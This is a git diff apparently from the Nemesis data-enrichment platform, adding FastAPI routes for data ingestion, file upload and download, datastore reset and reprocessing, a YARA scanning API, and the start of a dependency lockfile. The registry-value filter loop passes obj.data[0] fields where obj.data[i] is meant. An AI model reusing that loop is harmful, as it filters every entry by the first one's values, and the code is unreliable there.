async def delete_rabbit_mq_connections(connection_uri: str) -> None: +# rabbit_mq_api_url_connections = connection_uri.replace("amqp", "http").replace( +# ":5672", ":15672/rabbitmq/api/connections/username/nemesis" +# ) +# transport = httpx.AsyncHTTPTransport(retries=5) +# async with httpx.AsyncClient(transport=transport) as client: +# try: +# await client.delete(rabbit_mq_api_url_connections) +# except Exception as e: +# await logger.aerror("Error DELETEing RabbitMQ connections via the API", exception=e) + + +async def get_all_rabbit_mq_queues(rabbit_mq_api_url: str) -> List[str]: + """Calls the RabbitMQ API to retrieve all current queue names.""" + rabbit_mq_api_url_queues = f"{rabbit_mq_api_url}queues" + transport = httpx.AsyncHTTPTransport(retries=5) + async with httpx.AsyncClient(transport=transport) as client: + try: + r = await client.get(rabbit_mq_api_url_queues) + if r.status_code == 200: + return [queue["name"] for queue in r.json()] + else: + logger.aerror("Error retrieving RabbitMQ queues from the API", status=r.status_code) + return [] + except Exception as e: + logger.aerror("Error retrieving RabbitMQ queues from the API", exception=e) + return [] + + +async def purge_rabbit_mq_queues(connection_uri: str) -> None: + """Enumerates all queues with get_all_rabbit_mq_queues() and purges each.""" + await logger.ainfo("Purging all existing RabbitMQ queues") + connection = await connect_robust(connection_uri) + rabbit_mq_api_url = connection_uri.replace("amqp", "http").replace(":5672", ":15672/rabbitmq/api/") + queue_names = await get_all_rabbit_mq_queues(rabbit_mq_api_url) + + async with connection: + channel = await connection.channel() + for queue_name in queue_names: + queue = await channel.get_queue(queue_name) + await logger.ainfo("Purging queue", queue=queue_name) + await queue.purge() + + await logger.ainfo("Done purging RabbitMQ queues") + + +class NemesisApi(TaskInterface): + storage: StorageInterface + rabbitmq_connection_uri: str + alerter: AlerterInterface + db: NemesisDb + es_client: AsyncElasticsearch + http_client: httpx.AsyncClient + queue_map: dict[NemesisQueue, MessageQueueProducerInterface] + assessment_id: str + log_level: str + reprocessing_workers: int + + def __init__( + self, + storage: StorageInterface, + rabbitmq_connection_uri: str, + alerter: AlerterInterface, + db: NemesisDb, + es_client: AsyncElasticsearch, + queue_map: dict[NemesisQueue, MessageQueueProducerInterface], + assessment_id: str, + log_level: str, + reprocessing_workers: int, + ) -> None: + self.storage = storage + self.rabbitmq_connection_uri = rabbitmq_connection_uri + self.alerter = alerter + self.db = db + self.es_client = es_client + self.queue_map = queue_map + self.assessment_id = assessment_id + self.log_level = log_level + self.reprocessing_workers = reprocessing_workers + + async def run(self) -> None: + app = FastAPI(title="Nemesis API") + routes = NemesisApiRoutes( + self.storage, + self.rabbitmq_connection_uri, + self.alerter, + self.db, + self.es_client, + self.queue_map, + self.assessment_id, + self.reprocessing_workers, + ) + + app.include_router(routes.router) + config = uvicorn.Config( + app, + host="0.0.0.0", + port=9910, + log_level=self.log_level.lower(), + ) + server = uvicorn.Server(config) + await server.serve() + + +class DataReturn(BaseModel): + object_id: str + + +class DownloadFileTypes(StrEnum): + BMP = "bmp" + JPG = "jpg" + JPEG = "jpeg" + ICO = "ico" + PNG = "png" + PDF = "pdf" + SVG = "svg" + TXT = "txt" + + +class DownloadAction(StrEnum): + DOWNLOAD = "download" + VIEW = "view" + + +class NemesisApiRoutes(Routable): + storage: StorageInterface + rabbitmq_connection_uri: str + alerter: AlerterInterface + db: NemesisDb + es_client: AsyncElasticsearch + producers: Dict[NemesisQueue, MessageQueueProducerInterface] + assessment_id: str + reprocessing_workers: int + + def __init__( + self, + storage: StorageInterface, + rabbitmq_connection_uri: str, + alerter: AlerterInterface, + db: NemesisDb, + es_client: AsyncElasticsearch, + queues: Dict[NemesisQueue, MessageQueueProducerInterface], + assessment_id: str, + reprocessing_workers: int, + ) -> None: + super().__init__() + self.storage = storage + self.rabbitmq_connection_uri = rabbitmq_connection_uri + self.alerter = alerter + self.db = db + self.es_client = es_client + self.producers = queues + self.assessment_id = assessment_id + self.reprocessing_workers = reprocessing_workers + + @get("/") + async def home(self): + return Response() + + @get("/ready") + async def ready(self): + """ + Used for readiness probes. + """ + return Response() + + @post("/reset") + async def reset(self): + """When called, purges Postgres, Elastic, and RabbitMQ.""" + await logger.ainfo("Clearing datastore!") + + # first purge all RabbitMQ queue messages + await logger.ainfo("Purging RabbitMQ Queues.") + await purge_rabbit_mq_queues(self.rabbitmq_connection_uri) + + # next clear the postgres database + await logger.ainfo("Clearing the PostgreSQL database.") + await self.db.clear_database() + + # then clear elasticsearch + await logger.ainfo("Clearing Elasticsearch indexes") + for ES_INDEX in ALL_ES_INDICIES: + if await self.es_client.indices.exists(index=ES_INDEX): + await logger.ainfo("Clearing Elastic index", index=ES_INDEX) + await self.es_client.indices.delete(index=ES_INDEX) + + @post("/reprocess") + async def reprocess(self): + """When called, triggers the reprocessing of all existing data messages.""" + + producers = self.producers + + async def reprocess_post_data(message_bytes) -> None: + """ + Reprocesses raw /data POST message bytes. + We don't have all the error handling of post_data since only + successful messages are saved off. + """ + nonlocal producers + global logger + + body_string = message_bytes.decode("utf-8") + json_data = json.loads(body_string) + data_type = json_data["metadata"]["data_type"] + obj = Parse(message_bytes, MAP[data_type]()) + if obj.metadata.data_type in producers: + producer = producers[obj.metadata.data_type] + await producer.Send(obj.SerializeToString()) + + def exception_handler(e, args): + logger.exception("Error reprocessing message bytes", args=args) + + # await self.alerter.alert("*Clearing datastore and triggering data reprocessing!*") + await logger.ainfo("Clearing datastore and triggering data reprocessing!") + + # first purge all RabbitMQ queue messages + await logger.ainfo("Purging RabbitMQ Queues.") + await purge_rabbit_mq_queues(self.rabbitmq_connection_uri) + + # next clear the postgres database + await logger.ainfo("Clearing the PostgreSQL database.") + await self.db.clear_database() + + # then clear elasticsearch + await logger.ainfo("Clearing Elasticsearch indexes") + for ES_INDEX in ALL_ES_INDICIES: + if await self.es_client.indices.exists(index=ES_INDEX): + await logger.ainfo("Clearing Elastic index", index=ES_INDEX) + await self.es_client.indices.delete(index=ES_INDEX) + + # finally pull all existed messages and submit each for reprocessing + # old : async for message_bytes in self.db.get_api_data_messages(): + # await self.reprocess_post_data(message_bytes) + + total_file_count = 0 + wrapped_reprocess_post_data = return_args_and_exceptions(reprocess_post_data, exception_handler) + await logger.ainfo("Resubmitting all existing messages for processing") + + try: + async for result in map_unordered( + wrapped_reprocess_post_data, self.db.get_api_data_messages(), limit=self.reprocessing_workers + ): + total_file_count += 1 + except Exception as e: + await logger.awarn("Error reprocessing message", e=e) + + await logger.ainfo(f"Completed reprocessing {total_file_count} files /data POST messages") + return Response() + + @aio.time(Summary("get_file", "GET file")) # type: ignore + @get("/data") + async def get_file(self, storage_id: str) -> Response: + file_uuid_str = base64.b64decode(storage_id).decode("utf-8") + file_uuid = uuid.UUID(file_uuid_str) + + with await self.storage.download(file_uuid) as file: + return FileResponse(file.name) + + @aio.time(Summary("data_post", "Data POST")) # type: ignore + @post("/data") + async def post_data(self, request: Request) -> Dict[str, str] | Response: + # first parse the message as a JSON object so we can extract out the message data_type + try: + body_bytes = await request.body() + body_string = body_bytes.decode("utf-8") + json_data = json.loads(body_string) + except: + return Response(status_code=400, content="Invalid message") + + if "metadata" not in json_data or "data_type" not in json_data["metadata"]: + return Response(status_code=400, content="Invalid metadata") + + data_type = json_data["metadata"]["data_type"] + if data_type not in MAP: + return Response(status_code=400, content="Invalid metadata data_type") + + try: + obj = Parse(body_bytes, MAP[data_type]()) + except: + return Response(status_code=400, content=f"Invalid {data_type} message") + + await logger.ainfo("Received data message", data_type=obj.metadata.data_type) + + # make sure we filter out registry values we're not currently supporting + if data_type == "registry_value": + i = 0 + while i < len(obj.data): + # check if we want this registry value to be emitted to the pipeline + tags = await include_registry_value( + key=obj.data[i].key, value_name=obj.data[i].value_name, value_kind=obj.data[0].value_kind, value=obj.data[0].value + ) + if tags: + obj.data[i].tags = tags + i += 1 + else: + del obj.data[i] + + id_ = str(uuid.uuid4()) + obj.metadata.message_id = id_ + + # save off the raw POST message for possible replay later + await self.db.add_api_data_message(id_, body_bytes) + + if obj.metadata.data_type in self.producers: + producer = self.producers[obj.metadata.data_type] + await producer.Send(obj.SerializeToString()) + + return {"object_id": id_} + + @aio.time(Summary("post_file", "POST file")) # type: ignore + @post("/file") + async def get_data(self, request: Request) -> Dict[str, str]: + await logger.ainfo("Received file upload request") + with tempfile.NamedTemporaryFile() as tmpfile: + # TODO: Write to disk and then create a queue that uploads the file in + # the background so we don't have to wait for the upload to finish before sending a response. + # Right now, large uploads could take quite a while to upload and API clients could timeout + # before recieving a response, despite the upload completing successfully + with open(tmpfile.name, "wb") as f: + f.write(await request.body()) + + file_uuid = await self.storage.upload(f.name) + return {"object_id": str(file_uuid)} + + @aio.time(Summary("download", "Download file")) # type: ignore + @get("/download/{id}") + async def download(self, id: uuid.UUID, name: Optional[str] = None, action: Optional[DownloadAction] = None) -> Response: + content_type = "application/octet-stream" + content_disposition: Optional[str] = None + + if name: + filename = urllib.parse.quote(name) + filetype = name.split(".")[-1].lower() if name else None + else: + filename = str(id) + filetype = None + + if action is None or action == DownloadAction.DOWNLOAD: + content_disposition = f'attachment; filename="{filename}"' + else: + content_disposition = f'inline; filename="{filename}"' + + match filetype: + case DownloadFileTypes.BMP: + content_type = "image/bmp" + case DownloadFileTypes.ICO: + content_type = "image/vnd.microsoft.icon" + case DownloadFileTypes.JPEG: + content_type = "image/jpeg" + case DownloadFileTypes.JPG: + content_type = "image/jpeg" + case DownloadFileTypes.PDF: + content_type = "application/pdf" + case DownloadFileTypes.PNG: + content_type = "image/png" + case DownloadFileTypes.SVG: + content_type = "image/svg+xml" + case DownloadFileTypes.TXT: + content_type = "text/plain" + case _: + content_type = "text/plain" + + headers = { + "X-Content-Type-Options": "nosniff", + } + + if content_disposition: + headers["Content-Disposition"] = content_disposition + + try: + await logger.ainfo("Received file download request", file_id=id) + # download and signal we don't want to delete the file + with await self.storage.download(id, False) as file: + # set a background task to delete the file after serving + # ref - https://github.com/tiangolo/fastapi/issues/2152#issuecomment-889282903 + return FileResponse(file.name, background=BackgroundTask(os.remove, file.name), media_type=content_type, headers=headers) + except Exception as e: + logger.aexception(e, message="Failed to download file", file_uuid=id) + return Response(status_code=404, content="File not found") diff --git a/cmd/enrichment/enrichment/tasks/webapi/yara_api.py b/cmd/enrichment/enrichment/tasks/webapi/yara_api.py new file mode 100644 index 0000000..2fb5a14 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/webapi/yara_api.py @@ -0,0 +1,125 @@ +# Standard Libraries +import glob +import os +import uuid + +# 3rd Party Libraries +import structlog +import uvicorn +import yara +from fastapi import FastAPI, File, UploadFile +from fastapi.responses import Response +from fastapi_class.decorators import get, post +from fastapi_class.routable import Routable +from nemesiscommon.nemesis_tempfile import TempFile +from nemesiscommon.storage import StorageInterface +from nemesiscommon.tasking import TaskInterface +from prometheus_async import aio +from prometheus_client import Summary + +logger = structlog.get_logger(module=__name__) + + +class YaraApi(TaskInterface): + storage: StorageInterface + api_port: int + data_download_dir: str + log_level: str + + def __init__(self, storage: StorageInterface, api_port: int, data_download_dir: str, log_level: str) -> None: + self.storage = storage + self.api_port = api_port + self.data_download_dir = data_download_dir + self.log_level = log_level + + async def run(self) -> None: + app = FastAPI() + routes = YaraApiRoutes(self.storage, self.data_download_dir) + app.include_router(routes.router) + server_config = uvicorn.Config( + app, + host="0.0.0.0", + port=self.api_port, + log_level=self.log_level.lower(), + ) + server = uvicorn.Server(server_config) + logger.info("Starting YaraAPI", port=self.api_port) + await server.serve() + + +class YaraApiRoutes(Routable): + storage: StorageInterface + data_download_dir: str + + def __init__(self, storage: StorageInterface, data_download_dir: str) -> None: + super().__init__() + self.storage = storage + self.data_download_dir = data_download_dir + + # load up the Yara rules + yara_file_paths = glob.glob("./enrichment/lib/public_yara/**/*.yara", recursive=True) + glob.glob("./enrichment/lib/public_yara/**/*.yar", recursive=True) + yara_files = {} + + for yara_file_path in yara_file_paths: + try: + yara_files[yara_file_path.split("/")[-1]] = yara_file_path + except: + continue + + self.yara_rules = yara.compile(filepaths=yara_files) + logger.info("YaraAPI initialization completed") + + @get("/") + async def home(self): + return Response() + + @get("/ready") + async def ready(self): + """Used for readiness probes.""" + return Response() + + @aio.time(Summary("file", "Time spent scanning raw file bytes with Yara")) # type: ignore + @post("/file") + async def yara_file(self, file: UploadFile = File(...)): + """Scan submitted file bytes with all current Yara rules.""" + + await logger.adebug("Yara /file endpoint called") + + try: + async with TempFile(self.data_download_dir) as temp_file: + file_bytes = await file.read() + + # write the posted file out to a temp file + with open(temp_file.path, "wb") as f: + f.write(file_bytes) + + return await self.yara_opsec_scan(temp_file.path) + except Exception as e: + await logger.aexception(e, message="yara_file error") + return {"error": f"yara_file error: {e}"} + + async def yara_opsec_scan(self, file: str | uuid.UUID): + """Scans the given file path or file UUID with all current yara OPSEC rules. + + Any matches are returned. If the file doesn't exist, we attempt to + download it the Nemesis datastore. + """ + + # check if the file is a string or UUID + + if isinstance(file, str): + if os.path.exists(file): + try: + return {"yara_matches": [f"{match}" for match in self.yara_rules.match(file)]} + except Exception as e: + await logger.aexception(e, message="yara_opsec_scan error", file_path=file) + return {"error": f"yara_opsec_scan error for {file} : {e}"} + elif isinstance(file, uuid.UUID): + try: + with await self.storage.download(file) as temp_file: + return {"yara_matches": [f"{match}" for match in self.yara_rules.match(temp_file.name)]} + except Exception as e: + await logger.aexception(e, message="yara_opsec_scan error", file_path=file) + return {"error": f"yara_opsec_scan error for {file} : {e}"} + else: + raise ValueError(f"file must be a string or UUID, but got a '{type(file)}'. Value: '{file}'") diff --git a/cmd/enrichment/poetry.lock b/cmd/enrichment/poetry.lock new file mode 100644 index 0000000..88eacff --- /dev/null +++ b/cmd/enrichment/poetry.lock @@ -0,0 +1,4047 @@ +# This file is automatically @generated by Poetry 1.5.1 and should not be changed by hand. + +[[package]] +name = "aio-pika" +version = "8.3.0" +description = "Wrapper for the aiormq for asyncio and humans." +optional = false +python-versions = ">3.6, <4" +files = [ + {file = "aio-pika-8.3.0.tar.gz", hash = "sha256:c0e2601eda6a1097fe1d33c5f9965a86a27b328ac48914d20c23f675b3ab1797"}, + {file = "aio_pika-8.3.0-py3-none-any.whl", hash = "sha256:36c4742449f1cbcb83165b3733b090cf88f3d2f7f027225eedb8c7f300b05dde"}, +] + +[package.dependencies] +aiormq = ">=6.6.3,<6.7.0" +yarl = "*" + +[package.extras] +develop = ["aiomisc (>=16.0,<17.0)", "coverage (!=4.3)", "coveralls", "nox", "pylava", "pytest", "pytest-cov", "shortuuid", "sphinx", "sphinx-autobuild", "timeout-decorator", "tox (>=2.4)"] + +[[package]] +name = "aioboto3" +version = "10.4.0" +description = "Async boto3 wrapper" +optional = false +python-versions = ">=3.7,<4.0" +files = [ + {file = "aioboto3-10.4.0-py3-none-any.whl", hash = "sha256:6d0f0bf6af0168c27828e108f1a24182669a6ea6939437c27638caf06a693403"}, + {file = "aioboto3-10.4.0.tar.gz", hash = "sha256:e52b5f96b67031ddcbabcc55015bad3f851d3d4e6d5bfc7a1d1518d90e0c1fd8"}, +] + +[package.dependencies] +aiobotocore = {version = "2.4.2", extras = ["boto3"]} + +[package.extras] +chalice = ["chalice (>=1.24.0)"] +s3cse = ["cryptography (>=2.3.1)"] + +[[package]] +name = "aiobotocore" +version = "2.4.2" +description = "Async client for aws services using botocore and aiohttp" +optional = false +python-versions = ">=3.7" +files = [ + {file = "aiobotocore-2.4.2-py3-none-any.whl", hash = "sha256:4acd1ebe2e44be4b100aa553910bda899f6dc090b3da2bc1cf3d5de2146ed208"}, + {file = "aiobotocore-2.4.2.tar.gz", hash = "sha256:0603b74a582dffa7511ce7548d07dc9b10ec87bc5fb657eb0b34f9bd490958bf"}, +] + +[package.dependencies] +aiohttp = ">=3.3.1" +aioitertools = ">=0.5.1" +boto3 = {version = ">=1.24.59,<1.24.60", optional = true, markers = "extra == \"boto3\""} +botocore = ">=1.27.59,<1.27.60" +wrapt = ">=1.10.10" + +[package.extras] +awscli = ["awscli (>=1.25.60,<1.25.61)"] +boto3 = ["boto3 (>=1.24.59,<1.24.60)"] + +[[package]] +name = "aiofile" +version = "3.8.7" +description = "Asynchronous file operations." +optional = false +python-versions = ">=3.7, <4" +files = [ + {file = "aiofile-3.8.7-py3-none-any.whl", hash = "sha256:4c38991b1227e221296fa05bbc95bffba9c203fef1ce09ad3076cfe7b61842c7"}, + {file = "aiofile-3.8.7.tar.gz", hash = "sha256:a8f9dec17282b3583337c4ef2d1a67f33072ab80dd03608041ed9e71b88dc521"}, +] + +[package.dependencies] +caio = ">=0.9.0,<0.10.0" + +[package.extras] +develop = ["aiomisc-pytest", "coveralls", "pytest", "pytest-cov", "pytest-rst"] + +[[package]] +name = "aiohttp" +version = "3.8.4" +description = "Async http client/server framework (asyncio)" +optional = false +python-versions = ">=3.6" +files = [ + {file = "aiohttp-3.8.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:5ce45967538fb747370308d3145aa68a074bdecb4f3a300869590f725ced69c1"}, + {file = "aiohttp-3.8.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b744c33b6f14ca26b7544e8d8aadff6b765a80ad6164fb1a430bbadd593dfb1a"}, + {file = "aiohttp-3.8.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1a45865451439eb320784918617ba54b7a377e3501fb70402ab84d38c2cd891b"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a86d42d7cba1cec432d47ab13b6637bee393a10f664c425ea7b305d1301ca1a3"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ee3c36df21b5714d49fc4580247947aa64bcbe2939d1b77b4c8dcb8f6c9faecc"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:176a64b24c0935869d5bbc4c96e82f89f643bcdf08ec947701b9dbb3c956b7dd"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c844fd628851c0bc309f3c801b3a3d58ce430b2ce5b359cd918a5a76d0b20cb5"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5393fb786a9e23e4799fec788e7e735de18052f83682ce2dfcabaf1c00c2c08e"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:e4b09863aae0dc965c3ef36500d891a3ff495a2ea9ae9171e4519963c12ceefd"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:adfbc22e87365a6e564c804c58fc44ff7727deea782d175c33602737b7feadb6"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:147ae376f14b55f4f3c2b118b95be50a369b89b38a971e80a17c3fd623f280c9"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:eafb3e874816ebe2a92f5e155f17260034c8c341dad1df25672fb710627c6949"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c6cc15d58053c76eacac5fa9152d7d84b8d67b3fde92709195cb984cfb3475ea"}, + {file = "aiohttp-3.8.4-cp310-cp310-win32.whl", hash = "sha256:59f029a5f6e2d679296db7bee982bb3d20c088e52a2977e3175faf31d6fb75d1"}, + {file = "aiohttp-3.8.4-cp310-cp310-win_amd64.whl", hash = "sha256:fe7ba4a51f33ab275515f66b0a236bcde4fb5561498fe8f898d4e549b2e4509f"}, + {file = "aiohttp-3.8.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3d8ef1a630519a26d6760bc695842579cb09e373c5f227a21b67dc3eb16cfea4"}, + {file = "aiohttp-3.8.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5b3f2e06a512e94722886c0827bee9807c86a9f698fac6b3aee841fab49bbfb4"}, + {file = "aiohttp-3.8.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3a80464982d41b1fbfe3154e440ba4904b71c1a53e9cd584098cd41efdb188ef"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8b631e26df63e52f7cce0cce6507b7a7f1bc9b0c501fcde69742130b32e8782f"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3f43255086fe25e36fd5ed8f2ee47477408a73ef00e804cb2b5cba4bf2ac7f5e"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4d347a172f866cd1d93126d9b239fcbe682acb39b48ee0873c73c933dd23bd0f"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a3fec6a4cb5551721cdd70473eb009d90935b4063acc5f40905d40ecfea23e05"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:80a37fe8f7c1e6ce8f2d9c411676e4bc633a8462844e38f46156d07a7d401654"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:d1e6a862b76f34395a985b3cd39a0d949ca80a70b6ebdea37d3ab39ceea6698a"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:cd468460eefef601ece4428d3cf4562459157c0f6523db89365202c31b6daebb"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:618c901dd3aad4ace71dfa0f5e82e88b46ef57e3239fc7027773cb6d4ed53531"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:652b1bff4f15f6287550b4670546a2947f2a4575b6c6dff7760eafb22eacbf0b"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:80575ba9377c5171407a06d0196b2310b679dc752d02a1fcaa2bc20b235dbf24"}, + {file = "aiohttp-3.8.4-cp311-cp311-win32.whl", hash = "sha256:bbcf1a76cf6f6dacf2c7f4d2ebd411438c275faa1dc0c68e46eb84eebd05dd7d"}, + {file = "aiohttp-3.8.4-cp311-cp311-win_amd64.whl", hash = "sha256:6e74dd54f7239fcffe07913ff8b964e28b712f09846e20de78676ce2a3dc0bfc"}, + {file = "aiohttp-3.8.4-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:880e15bb6dad90549b43f796b391cfffd7af373f4646784795e20d92606b7a51"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb96fa6b56bb536c42d6a4a87dfca570ff8e52de2d63cabebfd6fb67049c34b6"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4a6cadebe132e90cefa77e45f2d2f1a4b2ce5c6b1bfc1656c1ddafcfe4ba8131"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f352b62b45dff37b55ddd7b9c0c8672c4dd2eb9c0f9c11d395075a84e2c40f75"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7ab43061a0c81198d88f39aaf90dae9a7744620978f7ef3e3708339b8ed2ef01"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c9cb1565a7ad52e096a6988e2ee0397f72fe056dadf75d17fa6b5aebaea05622"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:1b3ea7edd2d24538959c1c1abf97c744d879d4e541d38305f9bd7d9b10c9ec41"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:7c7837fe8037e96b6dd5cfcf47263c1620a9d332a87ec06a6ca4564e56bd0f36"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:3b90467ebc3d9fa5b0f9b6489dfb2c304a1db7b9946fa92aa76a831b9d587e99"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:cab9401de3ea52b4b4c6971db5fb5c999bd4260898af972bf23de1c6b5dd9d71"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:d1f9282c5f2b5e241034a009779e7b2a1aa045f667ff521e7948ea9b56e0c5ff"}, + {file = "aiohttp-3.8.4-cp36-cp36m-win32.whl", hash = "sha256:5e14f25765a578a0a634d5f0cd1e2c3f53964553a00347998dfdf96b8137f777"}, + {file = "aiohttp-3.8.4-cp36-cp36m-win_amd64.whl", hash = "sha256:4c745b109057e7e5f1848c689ee4fb3a016c8d4d92da52b312f8a509f83aa05e"}, + {file = "aiohttp-3.8.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:aede4df4eeb926c8fa70de46c340a1bc2c6079e1c40ccf7b0eae1313ffd33519"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ddaae3f3d32fc2cb4c53fab020b69a05c8ab1f02e0e59665c6f7a0d3a5be54f"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c4eb3b82ca349cf6fadcdc7abcc8b3a50ab74a62e9113ab7a8ebc268aad35bb9"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9bcb89336efa095ea21b30f9e686763f2be4478f1b0a616969551982c4ee4c3b"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c08e8ed6fa3d477e501ec9db169bfac8140e830aa372d77e4a43084d8dd91ab"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c6cd05ea06daca6ad6a4ca3ba7fe7dc5b5de063ff4daec6170ec0f9979f6c332"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b7a00a9ed8d6e725b55ef98b1b35c88013245f35f68b1b12c5cd4100dddac333"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:de04b491d0e5007ee1b63a309956eaed959a49f5bb4e84b26c8f5d49de140fa9"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:40653609b3bf50611356e6b6554e3a331f6879fa7116f3959b20e3528783e699"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:dbf3a08a06b3f433013c143ebd72c15cac33d2914b8ea4bea7ac2c23578815d6"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:854f422ac44af92bfe172d8e73229c270dc09b96535e8a548f99c84f82dde241"}, + {file = "aiohttp-3.8.4-cp37-cp37m-win32.whl", hash = "sha256:aeb29c84bb53a84b1a81c6c09d24cf33bb8432cc5c39979021cc0f98c1292a1a"}, + {file = "aiohttp-3.8.4-cp37-cp37m-win_amd64.whl", hash = "sha256:db3fc6120bce9f446d13b1b834ea5b15341ca9ff3f335e4a951a6ead31105480"}, + {file = "aiohttp-3.8.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:fabb87dd8850ef0f7fe2b366d44b77d7e6fa2ea87861ab3844da99291e81e60f"}, + {file = "aiohttp-3.8.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:91f6d540163f90bbaef9387e65f18f73ffd7c79f5225ac3d3f61df7b0d01ad15"}, + {file = "aiohttp-3.8.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:d265f09a75a79a788237d7f9054f929ced2e69eb0bb79de3798c468d8a90f945"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d89efa095ca7d442a6d0cbc755f9e08190ba40069b235c9886a8763b03785da"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4dac314662f4e2aa5009977b652d9b8db7121b46c38f2073bfeed9f4049732cd"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:fe11310ae1e4cd560035598c3f29d86cef39a83d244c7466f95c27ae04850f10"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6ddb2a2026c3f6a68c3998a6c47ab6795e4127315d2e35a09997da21865757f8"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e75b89ac3bd27d2d043b234aa7b734c38ba1b0e43f07787130a0ecac1e12228a"}, + {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6e601588f2b502c93c30cd5a45bfc665faaf37bbe835b7cfd461753068232074"}, + {file = 